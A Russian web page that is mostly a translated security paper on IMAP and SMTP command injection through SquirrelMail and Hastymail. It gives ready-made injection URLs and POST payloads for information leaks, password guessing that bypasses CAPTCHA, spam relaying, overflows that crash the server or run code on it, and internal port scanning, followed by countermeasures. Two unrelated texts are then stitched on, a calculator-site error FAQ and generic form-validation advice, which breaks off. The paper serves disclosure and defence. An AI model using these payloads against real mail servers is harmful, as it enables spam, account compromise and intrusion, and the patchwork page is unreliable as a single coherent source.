Ошибки проверки вводимых данных

Этот документ представляет два практических примера веб-приложений (SquirellMail и Hastymail) уязвимых для техники MX инъекций, поэтому все приложения использующие SMTP и IMAP, будут также уязвимы из-за этого.

By Vicente Aguilera Diaz

( vaguilera (at) isecauditors (dot) com )

Введение

Веб-приложения электронной почты используют протоколы IMAP и SMTP для обеспечения взаимодействия пользователя с его почтовым ящиком. По сути, это означает, что они являются прокси между приложением клиента и почтовым сервером, для выполнения установленных действий.

Это взаимодействие начинается в тот момент, когда пользователь посылает свои учётные данные (логин и пароль) для того чтобы авторизоваться, используя веб-приложение. В этой точке, предполагая, что IMAP сервер поддерживает метод аутентификации «LOGIN», веб-приложение связывается с IMAP сервером, посылая следующую команду:

AUTH LOGIN <user> <password>

Затем приложение анализирует возвращаемый сервером ответ и, в зависимости от его содержимого, запрещает либо запрещает доступ пользователя к его ящику.

Таким же образом приложение переводит различные действия пользователя в команды IMAP и SMTP которые посылаются соответствующему серверу. Однако возможный функционал ограничен веб-приложением, так как пользователь не может инициировать IMAP или SMTP команды отличные от тех, которые определены в веб-приложении. С другой стороны, пользователь обладает возможностью изменять команды IMAP и SMTP команды, передаваемые почтовым серверам.

Давайте в деталях рассмотрим как работает этот метод.

Технология MX инъекций.

 Также как и в многократно описанных технологиях SQL, LDAP, SSI, Xpath и CRLF инъекций, технология MX инъекции позволяет внедрение произвольных IMAP или SMTP команд почтовому серверу через веб-приложение, некорректно обрабатывающее предоставленные пользователем данные.

Техника MX инъекций особенно полезна в тех случаях, когда почтовый сервер, использующийся веб-приложением, напрямую недоступен из интернет (см. рис 1). Процесс внедрения произвольных команд подразумевает, что пользователю через веб-приложение доступны порты 25(smtp) и 143(imap).

На рисунке выше представлен запрос пользователя веб-приложению для совершения операции с почтовым ящиком. Шаги 1,2 и 3 показывают стандартный запрос через веб-приложение. Шаги 1 и 2’ представляют, что пытается сделать атакующий, использующий MX инъекцию.

Для атакующего, пользующегося техникой MX инъекций, порты почтового сервера, обычно закрытые файрволом, доступны «напрямую». Использование этой техники допускает большое количество воздействий и видов атак. Открывающиеся же возможности зависят от типа сервера, для которого проводится инъекция. Как уже было сказано во введении, веб-приложения электронной почты переводят запросы от пользователей в команды протоколов IMAP и SMTP. В следующей главе я объясню, как мы сможем эксплуатировать оба протокола.

 IMAP инъекции.

В данном случае инъекция команды делается для IMAP сервера, поэтому она должна соответствовать спецификации этого протокола. Веб-приложения электронной почты связываются с IMAP сервером чтобы выполнить необходимые операции, и по этой причине они более уязвимы для атак подобного рода.

Во время аутентификации пользователя приложение передаёт учётные данные IMAP серверу, таким образом IMAP инъекции могут иметь место без необходимости наличия валидного аккаунта в приложении, эксплуатируя в данном случае механизм авторизации непосредственно IMAP сервера.

Перед внедрением команд пользователь должен все определить параметры, использующиеся в процессе связи с веб-приложением и связанные с функционированием приложения, такие как:

  • аутентификация/login/logout
  •    операции с почтовым ящиком (list/read/create/delete/rename)
  • операции с сообщениями (read/copy/move/delete)

Давайте для примера рассмотрим IMAP инъекцию эксплуатирующую функцию прочтения сообщения. Предположим, что веб-приложение использует параметр «message_id» для хранения идентификатора сообщения, которое пользователь запрашивает для прочтения. Запрос, содержащий идентификатор сообщения, при посылке выглядит так:

  http://<webmail>/read_email.php?message_id=<number> 

Предположим, что со страницы “read_email.php”, ответственной за отображение соответствующего сообщения, запрос передаётся серверу без проведения каких-либо проверок значения <number>, передаваемого пользователем. Команда, посылаемая серверу, будет выглядеть так:

FETCH <number> BODY[HEADER]

В этом контексте злоумышленник может провести атаку IMAP инъекцией через параметр “message_id» используемый приложением для связи с почтовым сервером. Например команда IMAP протокола “CAPABILITY” может быть внедрена через следующую последовательность:

http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900 CAPABILITY%0d%0aZ901 FETCH 1

Это приведёт к посылке следующей последовательности команд IMAP серверу:

FETCH 1 BODY[HEADER]

  Z900 CAPABILITY

  Z901 FETCH 1

BODY[HEADER]

И страница, возвращаемая сервером будет показывать результат команды «CAPABILITY» от IMAP сервера: * CAPABILITY IMAP4rev1 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES

  SORT QUOTA ACL ACL2=UNION

  Z900 OK CAPABILITY completed

 SMTP инъекция

В этом случае внедрение команд производится в SMTP сервер, поэтому внедряемые команды должны следовать этому протоколу. Из-за того, что все проводимые операции разрешены приложением, используя SMTP протокол мы, проще говоря, имитируем отсылку письма. Использование SMTP инъекции предполагает, что пользователь предварительно аутентифицировался, т.е. необходимо чтобы имелся активный пользовательский аккаунт.

Ниже приведён формат письма, посылаемого через SMTP:

  • отправитель
  • получатель
  • тема
  • тело письма
  • присоединённые файлы

Давайте на примере рассмотрим технику SMTP инъекции чрез параметр, который содержит тему письма.

Как я уже объяснил ранее, при использовании данного метода необходимо, чтобы пользователь был аутентифицировал себя, тогда инъекция SMTP команды будет произведена в параметр, ассоциированный с темой отсылаемого письма. В общем случае, веб-приложение электронной почты предоставляет пользователю форму, где он должен ввести необходимую информацию, она затем будет передана процедуре, которая ответственна за создание SMTP команд, необходимых для посылки данного письма.

Типичный запрос для отправки письма будет выглядеть так:

 POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SMTP Injection Example

  ——————————134475172700422922879687252

Он сгенерирует следующую последовательность команд SMTP:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

….

Если приложение не достаточно корректно проверяет значение параметра «Subject», атакующий сможет внедрить в него дополнительные SMTP команды:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

——————————134475172700422922879687252

Команды внедренные в примере выше произведут следующую последовательность SMTP команд, которая будет отослана почтовому серверу и будет включать команды MAIL FROM, RCPT TO и DATA, как показано ниже:

   MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

  …

 MX инъекции: каковы преимущества?

Публикации и обсуждения о подобных инъекциях в почтовые системы существовали и до этой статьи. С уверенностью модно сказать, что наиболее известной является CRLF инъекция в функцию PHP mail().

Тем не менее, они состоят только из частичного внедрения кода, как в случае внедрения заголовков письма. Этот тип инъекций позволит реализовать различные операции (рассылка анонимных писем, спамрелеинг, итд.) которые также возможы с техникой MX инъекций, так как базируются на одном и том же типе уязвимости.

Преимущество же данной техники состоит в возможности полноценной передачи команд уязвимым серверам без каких либо ограничений. Другими словами, её использование допускает не только внедрение заголовков, («From», «Subject», «To», итд.), но и произвольных команд в почтовый сервер (IMAP/SMTP) связанный с веб-приложением.

MX инъекция позволяет обойти стандартный функционал веб-приложения электронной почты (например, разослать большие объёмы почты). Эта техника позволит выполнить дополнительные действия, невозможные непосредственно через веб-приложение (например, спровоцировать переполнение буфера через команду протокола IMAP).

Возможность внедрения произвольных команд будет особенно интересна специалистам по безопасности (pen-testers), так как позволяет использование уязвимостей которые в некоторых ситуациях могут привести к получению полного управления сервером.

 Создание атак

Далее я приведу несколько примеров различных типов атак на почтовые сервера, а также практические примеры использования техники MX-инъекций.

Реальные ситуации были смоделированы на web-приложениях SquirrelMail (версии 1.2.7 и 1.4.5) и Hastymail (версии 1.0.2 и 1.5). SquirellMail версии 1.2.7 более не поддерживается командой SquirellMail, поэтому рекомендуется обновиться как минимум до версии 1.4.6, так как все предыдущие версии уязвимы к данным типам атак. Все версии Hastymail версии младше 1.5 также уязвимы к SMTP и IMAP инъекциям и пользователям настоятельно рекомендовано использовать последние патчи.

Команды разработчиков SquirellMail и Hastymail были уведомлены об уязвимостях и обе быстро предоставили заплатки. Вскоре после этого был выпущен плагин для Nessus, предназначенный для проверки наличия данных уязвимостей.

Атаку необходимо проводить в два приёма:

  •   определить уязвимый параметр.
  • выяснить, насколько широко можно его использовать.

 Определение уязвимого параметра.

Идентификация уязвимых параметров может быть проведена тем же путем, что и при проверке на другие типы инъекций, т.е. проверкой поведения сервера в нестандартной ситуации. А именно, посылкой приложению необычных значений для каждого из параметров передаваемых далее как часть IMAP либо SMTP протокола, и попытками определить наличие подтверждения уязвимости.

Рассмотрим пример:

Когда пользователь получает доступ к папке INBOX своего почтового аккаунта, запрос к SquirellMail выглядит так:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX

Если пользователь изменит значение «mailbox» таким образом:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22

, то приложение отреагирует выдачей сообщения ошибке:

  ERROR : Bad or malformed request.

  Query: SELECT «INBOX»»

  Server responded: Unexpected extra arguments to Select

Очевидно это не должно быть нормальным поведением приложения. Это сообщение об ошибке по мимо всего прочего говорит о том, что была попытка выполнить команду IMAP “SELECT”. Используя эту процедуру, мы можем установить, что параметр “mailbox” подвержен атакам типа MX-инъекция, а в частности IMAP-инъекциям.

В других случаях определение и использование уязвимых параметров может быть не столь очевидным. Например, когда пользователь получает доступ к своей папке INBOX в Hastymail, запрос выглядит так:

  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

Если пользователь изменяет параметр “mailbox” следующим образом:  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX»

Приложение реагирует выдачей следующей ошибки:

Could not access the following folders:

INBOX»

To check for outside changes to the folder list go to the folders page

В этом случае, добавление двойной кавычки не изменило поведения приложения. Результат выполнения запроса такой же, как если бы мы добавили любой другой символ:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

Приложение реагирует выдачей сообщения об ошибке:

  Could not access the following folders:

  NOTEXIST

  To check for outside changes to the folder list go to the folders page

Если пользователь пытается использовать вариации IMAP-инъекции:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST «%0d%0aA0003%20CREATE%20″INBOX.test

Приложение также отреагирует выдачей сообщения об ошибке:

  Unable to perform the requested action

  Hastymail said:: A0003 SELECT «INBOX»

  And the IMAP server said::

  A0003 NO Invalid mailbox name.

Изначально кажется, что попытка IMAP-инъекции не удалась. Однако, используя различные комбинации управляющих символов, можно достичь нужной цели. В следующем пример используется кодирование знака кавычки через представление в виде двух символов, заменяя использованное в предыдущем примере на последовательность %2522:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

%2522%0d%0aA0003%20CREATE%20%2522INBOX.test

В этом случае приложение не выдаёт никаких сообщений об ошибках и успешно создаёт папку «test» в INBOX.

Другие варианты:

  • Подставить в параметр значение null (т.е. “mailbox=”)
  • Заменить значение именем несуществующего почтового ящика ( “mailbox=NotExist” ).
  • Добавить другие значения к параметрам ( “mailbox=INBOX PARAMETER2” )
  • Добавить нестандартные символы ( .?,@,#,!,n)
  • Добавить последовательность CRLF ( “mailbox=INBOX%0d%0a”)

 Рамки использования

Когда определён уязвимый параметр (будь то IMAP или SMTP команда), необходимо понять, насколько широко его можно использовать. Другими словами, нужно уяснить последовательность команд и место нашей уязвимой команды в этой последовательности, для того чтобы передать ей адекватные параметры.

Чтобы успешно проделать MX инъекцию, необходимо, чтобы предыдущая команда заканчивалась последовательностью CRLF («%0d%0a»). В этом случае данная последовательность будет использоваться для разделения команд.

Если у пользователя есть возможность внедрения команды и просмотра выдаваемых сообщений об ошибках, то на следующем этапе нужно понять последовательность выполняемых операций.

Рассмотрим пример:

Когда пользователь запрашивает письмо на просмотр, в SquirellMail генерируется следующий запрос:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0

Если пользователь изменит значение “passed_id” следующим образом:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0

То приложение ответит ошибкой:

  •   ERROR : Bad or malformed request.
  •   Query: FETCH test:test BODY[HEADER] 
  •   Server responded: Error in IMAP command received by server

Здесь пользователь может определить, что выполняемая IMAP команда это “FETCH” вместе сопутствующими параметрами. На этом этапе, определив уязвимый параметр, у нас есть достаточно данных, для проведения инъекции дополнительной команды.

  http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0

Данный запрос выполнит следующие IMAP команды на сервере:

FETCH 1 BODY[HEADER]

  Z900 RENAME INBOX ENTRADA

  Z910 FETCH 1

BODY[1]

Если же пользователь не может видеть сообщения об ошибках (т.н. «инъекция вслепую»), то информация о соответствующей операции должна быть получена из типа выполняемой операции. К примеру, если инъекция делается через параметр формы аутентификации “password”, IMAP команда, выполняемая сервером, будет выглядеть так:

  AUTH LOGIN <user> <password>

Возвращаясь к вышесказанному: если же инъекция проводится через параметр “mailbox”, то исполняемой IMAP командой будет:

  LIST «<reference>» <mailbox>

Чтобы лучше понять принципы работы IMAP протокола, обратитесь к «»RFC 3501: Internet Message Access Protocol — Version 4rev1″ .

 Атака с утечкой информации

Применённая техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

Эта инъекция может применяться для получения информации об IMAP сервере, в тех случаях, когда получение информации другими методами затруднено.

Предполагая, что пользователь имеет возможность инъекции команды “CAPABILITY” в параметр “mailbox”:

http://<webmail>/src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT «INBOX&passed_id=1&startMessage=1&show_more=0

Ответ после команды CAPABILITY отобразит список параметров, разделённый запятыми, вместе с соответствующими каждому параметру возможностями сервера.

  * CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN

  Z900 OK capabilities listed

  * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE

  Z900 OK Completed

  * CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN

  Z900 OK Completed

С помощью этой команды пользователь может определить различные методы аутентификации, поддерживаемые сервером (ответы “AUTH=”), отключенные команды входа (LOGINDISABLED), добавленные к поддерживаемым расширениям и ревизиям IMAP протокола.

Команда CAPABILITY может быть выполнена без аутентификации, поэтому, если она была обнаружена среди команд, доступных для инъекции, то непременно должна быть выполнена.

обход технологий типа CAPTCHA

Примененная техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

В наши дни обычным для веб-приложений стало использование технологии типа CAPTCHA. Цель очевидна – предотвратить автоматизированные атаки на отдельные процессы. Например, добавление CAPTCHA к форме регистрации пользователя предотвращает вход «робота» в качестве обычного пользователя либо подбор существующих имён пользователей или паролей.

Если механизм аутентификации пользователя IMAP сервера уязвим для IMAP инъекции, злоумышленник может обойти ограничения типа CAPTCHA.

Первое: предположим, что поле “password” в форме аутентификации допускает проведение инъекции IMAP команд. Если атакующий пытается определить пароль “pwdok” пользователя “victim”, он может провести многочисленные запросы, используя, например, атаку по словарю.

Далее, предположим, что словарь состоит из следующих записей: pwderror1, pwderror2, pwdok, pwderror3.

В этом случае, пользователь может внедрить следующие команды для проведения атаки:

  http://<webmail>/src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3

Что приведёт к выполнению соответствующих команд на IMAP сервере: (C – запрос клиента, S – ответы сервера):

  C: Z900 LOGIN victim pwderror1

  S: Z900 NO Login failed: authentication failure

  C: Z910 LOGIN victim pwderror2

  S: Z910 NO Login failed: authentication failure

  C: Z920 LOGIN victim pwdok

  S: Z920 OK User logged in

  C: Z930 LOGIN victim pwderror3

  S: Z930 BAD Already logged in

Итак, если пароль жертвы есть в используемом для подбора словаре, то в конце инъекции злоумышленник обнаружит, что он аутентифицирован на сервере. С этого момента можно производить инъекции команд, для которых необходимо быть аутентифицированным на сервере.

 Релеинг

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Пользователь, аутентифицированный веб-приложением, имеет возможность создавать и отсылать электронную почту.

Предположим, что параметр «subject» уязвим для SMTP инъекции.

В этой ситуации возможно проведение атаки для использования сервера как релея. Например следующие команды инициируют посылку письма с «внешнего» адреса на другой «внешний» адрес.

  POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Relay Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  Relay test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к выполнению сервером следующей последовательности SMTP команд:

 MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Relay Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  Relay test

  .

  …

 Рассылка спама.

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

В этом сценарии всё аналогично предыдущему. Ставя себе цель обойти ограничения, накладываемые сервером (веб-приложением), например по количеству писем, отсылаемых пользователем, атакующий внедряет с уязвимым параметром необходимое количество команд (по нужному количеству писем к отправке). Посылая один нижеприведённый POST запрос веб-серверу, атакующий может выполнить несколько действий. Давайте на примере рассмотрим посылку трёх писем одной командой:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к выполнению следующей последовательности SMTP команд:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  …

Обход ограничений

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Этот случай является комбинацией двух предыдущих. Здесь инъекция SMTP команд позволяет обойти ограничения накладываемые на уровне веб-приложения.

Рассмотрим несколько примеров:

Предположим, что веб-приложение не разрешает посылать писем больше заданного количества в определённый промежуток времени. SMTP инъекция позволит обойти ограничение, добавляя столько команд RCPT, сколько необходимо:

POST http://<webmail>/compose.php HTTP/1.1

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain1.com

  RCPT TO: external@domain2.com

  RCPT TO: external@domain3.com

  RCPT TO: external@domain4.com

  Data

  Test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к посылке серверу следующей последовательности команд:

  MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Test

  .

  MAIL FROM: external@domain.com

  RCPT TO: external@domain1.com

  RCPT TO: external@domain2.com

  RCPT TO: external@domain3.com

  RCPT TO: external@domain4.com

  DATA

  Test

  .

  …

Обход ограничения на количество вложений:

Предположим, что веб-приложение накладывает ограничение на количество вложений в письмо. SMTP инъекция позволит обойти этот вид ограничений. На примере уязвимого параметра «subject», посмотрим, как можно вложить три текстовых файла:

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

  —1234567

  Content-type: text/plainContent-Disposition: attachment; filename=1.txt

  Example 1

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=2.txt

  Example 2

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=3.txt

  ——————————134475172700422922879687252

  …

Которые произведут следующую последовательность команд, посланных почтовому серверу:

  MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=1.txt

  Example 1

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=2.txt

  Example 2

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=3.txt

  …

Используя данные три приёма, атакующий может послать столько писем, сколько захочет и с необходимым количеством вложений.

 Использование уязвимостей протоколов

Возможность выполнения произвольных команд почтового протокола на сервере позволит атакующему эксплуатировать существующие уязвимости посылкой серверу соответствующих команд.

Рассмотрим несколько примеров:

DOS-атаки на почтовый сервер

Например: переполнение буфера в MailMax версии 5.

Использование имя почтового ящика длиной более 256 символов в параметре SELECT приведёт к выдаче сообщения «Buffer overrun detected! — Program:»

Теперь сервер остановлен должен быть перезапущен вручную.

Полагая, что если параметр «mailbox» на странице веб-приложения уязвим к IMAP инъекции, использование этой уязвимости может быть проведено следующим способом (требуется, чтобы пользователь был аутентифицирован):

   http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT «aa…[256]…aa»

 Выполнение произвольного кода на сервере

Другой пример уязвимого сервера — IMAP сервер MailEnable. Он подвержен переполнению буфера в команде STATUS, которое позволяет выполнить произвольный код на IMAP сервере. Полагая, что параметр «mailbox» веб-приложения уязвим для IMAP инъекции, использование этой уязвимости может быть проведено следующим образом (требуется, чтобы пользователь был аутентифицирован):

http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS

 Сканирование портов во внутренней сети

IMAP сервер разработанный в University of Washington (UW-IMAP, http://www.washington.edu/imap) позволяет выполнить сканирование портов используя команду SELECT в формате SELECT «{ip:port}».

На примере рассмотрим использование уязвимости в SquirellMail версии 1.4.2., полагая, что параметр «mailbox» уязвим для IMAP инъекции (требуется, чтобы пользователь был аутентифицирован):

1)      запрос на открытый порт (80) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}

Ответ на предыдущий запрос:

ERROR : Connection dropped by imap-server.

  Query: SELECT «{192.168.0.1:80}»

2)      запрос на закрытый порт (21) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}

Ответ сервера предыдущий запрос:

ERROR : Could not complete request.

  Query: SELECT «{192.168.0.1:21}»

  Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused

Различия в ответах от IMAP сервера позволяют злоумышленнику выяснить статус нужного порта.

Подытожим: благодаря MX-инъекциям, стало возможно использовать уязвимости в почтовых серверах, которые в обычной ситуации использовать не удастся. Для аудитора безопасности умение находить и эксплуатировать данные уязвимости — большой плюс. По этой причине данный вопрос будет представлен в будущей статье по эксплуатированию MX- инъекций.

Сравнение IMAP и SMTP инъекций.

Ниже приведенная таблица показывает характеристику обоих типов MX инъекций:

IMAP инъекция

SMTP инъекция

требует аутентифицированного пользователя

нет

да

Типы атак

Утечка информации, прямое использование IMAP протокола, обход технологии CAPTCHA

Утечка информации, прямое использование SMTP протокола, обход ограничений на релеинг/спам

Критерии защиты

Как и при других уязвимостях, приводящих к внедрению данных атакующим, защита веб-проложений электронной почты требует внедрения и применения необходимых мер, предлагаемых командой разработчиком. Однако, чтобы сузить возможность атакующего использующего данные уязвимости, необходимо применять более широкие меры по безопасности всего сервера.

Ниже приведены контрмеры по противодействию подобного типа атакам:

Проверка вводимых данных.

Все введённые данные, используемые приложением (не только введённые пользователем, но и используемые для внутренних нужд) должны быть нормализованы, должны быть удалены все символы, которые могут быть использоваться с умыслом. Проверки должны быть произведены до каких либо манипуляций с данными.

Как обсуждалось ранее, выполнение новых команд IMAP/SMTP требует, чтобы предыдущая команда заканчивалась CRLF. Чтобы убедиться в то, что не внедрено дополнительных команд, вы можете удалить подобные символы до передачи введённых данных непосредственно почтовому серверу.

Конфигурация IMAP/SMTP серверов

Если для доступа к почтовым серверам используется только веб-приложения, данные серверы не должны быть видны из Интернет. В дополнение к этому вы должны усилить ограничения для них, отключая все команды, за исключением действительно необходимых, для снижения угрозы атак MX инъекциями.

Файрволы уровня приложений

Если мы развёртываем такой файрвол наряду с другими системами защиты — можно добавить соответствующие правила к фильтру.

В качестве примера файрвола уровня приложения приведу ModSecurity. Для предыдущего случая со SquirellMail результирующее правило будет выглядеть так:

SecFilterSelective «ARG_mailbox» «rn»

Оно будет фильтровать внедрение последовательности <CRLF> в параметр «mailbox».

Заключение

Этот документ представляет два практических примера веб-приложений (SquirellMail и Hastymail) уязвимых для техники MX инъекций, поэтому все приложения использующие SMTP и IMAP, будут также уязвимы из-за этого.

В настоящее время подавляющее большинство приложений не используют «чистый» протокол (SMTP/IMAP) для связи с почтовым сервером, а используют вызовы стандартных библиотечных функций которые и завершают процесс.

В следующей версии статьи будет проведён анализ упомянутых библиотек, а также веб-приложений, использующих эти библиотеки, которые могут быть уязвимы для MX инъекций.

Ошибка «Проверьте введённые данные»

Перечислим возможные ошибки, из-за которых после запроса решения задачи появляется сообщение «Проверьте введённые данные».

1. В выражении использованы символы не латинского алфавита

При вводе данных необходимо использовать буквы только латинского алфавита. Проверьте выражение на наличие букв кириллицы и повторите запрос.

2. Допущены синтаксические ошибки.

Проверьте правильность расстановки скобок, написания математических функций и математических операций, особенно при написании сложных формул.

3. Введённые данные не соответствуют выбранному калькулятору

Что это означает? Например, при использовании калькулятора решения неравенств введено дифференциальное уравнение. Это ошибка.

4. Введены «кракозябры»

Бессмысленный набор символов приравнивается к синтаксической ошибке и, разумеется, не может быть корректно обработан вычислительной системой.

5. Технические проблемы

Не исключены серверные ошибки или ошибки связи. Причины могут быть разные и с любой стороны, в том числе провайдера. Достаточно просто повторить запрос.

Если у вас возникают проблемы при соблюдении вышеописанных рекомендаций, просим обратиться к нам на почту info@math24.biz

При работе с веб-формами мы часто сталкиваемся с ситуацией, когда пользователь вводит неверное значение в поле ввода. Это может быть как опечатка, так и неправильный формат данных. В таких случаях очень важно предоставить пользователю понятную и информативную обратную связь, чтобы он мог исправить ошибку и успешно отправить форму.

Одним из самых простых и эффективных способов обработки неверно введенного значения является визуальное выделение ошибочного поля. Например, можно изменить цвет рамки или фона поля на красный, чтобы пользователь сразу заметил, что он сделал ошибку. Также можно добавить сообщение об ошибке рядом с полем ввода, чтобы более детально объяснить, что именно было введено неправильно.

Еще одним полезным подходом является предупреждение пользователя о возможных ошибках еще до того, как он начнет вводить данные. Например, можно добавить подсказки или маски для конкретных полей, чтобы пользователь знал, какой формат данных требуется вводить. Это поможет избежать ошибок и сократить количество неправильных вводов.

Как исправить неверное значение в поле ввода

Иногда при заполнении полей ввода мы можем допустить ошибку и ввести неверное значение. В таких случаях необходимо знать, как исправить эту ошибку.

Первое, что следует сделать, это внимательно прочитать ошибку или сообщение об ошибке, которое появляется при попытке отправки формы. В сообщении может быть указано, какая именно ошибка была допущена и как ее исправить.

Если ошибка связана с неправильным форматом данных, например, с неверно введенным адресом электронной почты или номером телефона, то следует внимательно проверить введенные данные и исправить их. Необходимо убедиться, что все символы введены корректно и нет лишних пробелов.

Если ошибки связаны с выбором варианта из списка или чекбокса, следует просмотреть доступные варианты и выбрать правильный. Если в списке нет нужного варианта, возможно, придется выбрать наиболее близкий по смыслу или обратиться за помощью к администратору сайта.

В случае неправильного заполнения полей с текстом, следует внимательно перечитать введенный текст и исправить ошибки. Для этого можно использовать функции автозамены, проверки орфографии или просто переписать текст с нуля.

Если в форме есть возможность предварительного просмотра данных перед отправкой, рекомендуется воспользоваться этой опцией, чтобы проверить все введенные значения и исправить возможные ошибки.

Наконец, необходимо убедиться, что все исправления были внесены правильно и повторно проверить поля ввода перед отправкой формы. И только после этого можно нажимать кнопку «Отправить» или «Продолжить».

Почему важно внимательно проверять введенные данные

При использовании полей ввода на веб-страницах или в приложениях пользователи часто вводят различные данные, такие как личная информация, номера телефонов, адреса электронной почты и т.д. Важно осознавать, что эти данные могут быть использованы для различных целей, и неверно введенные данные могут привести к серьезным последствиям.

Например, если пользователь вводит неверный адрес электронной почты при регистрации на сайте, он может не получить важные уведомления или потерять доступ к своей учетной записи. Точность введенных данных также важна для безопасности. Если пароль или другие данные для входа в систему введены неверно, это может привести к несанкционированному доступу к аккаунту.

Внимательная проверка введенных данных также необходима для корректной обработки информации. Например, если пользователь вводит свой номер телефона с ошибкой, это может привести к невозможности связаться с ним или неправильной доставке сообщений. Точность введенных данных также влияет на результаты поиска или фильтрации информации.

В некоторых случаях неверно введенные данные могут нанести ущерб не только самому пользователю, но и другим лицам. Например, если при онлайн-покупке указан неверный адрес доставки, это может привести к неправильной доставке товара или его потере. Также некорректно введенные данные могут привести к ошибкам в финансовых операциях, важных документах или юридических процессах.

В целом, внимательная проверка введенных данных является важной частью пользовательского опыта и обеспечивает правильную работу системы. Это помогает избежать неприятностей, сохранить безопасность и получить нужную информацию или услугу. Поэтому следует всегда внимательно проверять введенные данные перед их отправкой.

Советы по предотвращению ошибок при вводе данных

Когда мы вводим данные в поле ввода, всегда существует вероятность ошибки. Но с помощью некоторых советов можно значительно снизить риск неправильного ввода данных.

